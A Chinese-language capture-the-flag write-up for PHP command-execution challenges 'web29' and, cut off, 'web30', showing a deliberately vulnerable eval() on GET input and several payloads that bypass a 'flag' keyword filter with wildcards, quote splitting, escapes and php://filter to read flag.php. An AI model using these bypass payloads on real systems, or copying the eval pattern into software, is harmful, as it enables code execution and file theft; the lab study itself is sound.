文章目录
参考文章:命令执行绕过小技巧、命令执行漏洞进阶
web29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
输入c变量,把c中的flag过滤掉,然后返回c变量
严格来说这个应该是代码执行
先试试phpinfo能不能正常执行
注意最后面的分号
下面来看一下目录里面有啥东西
在index.php同目录下还有个flag.php
思路:用shell命令,将flag.php 转换成txt,再访问txt文件
但是flag是被过滤掉的,这里使用通配符? /?c=system('cp fla?.php 123.txt');
之后访问/123.txt目录,即可看到flag
其他思路:
payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`;
payload4:c=echo `nl fl\ag.php`;//转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
payload7:c=awk '{printf $0}' flag.php||
web30
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}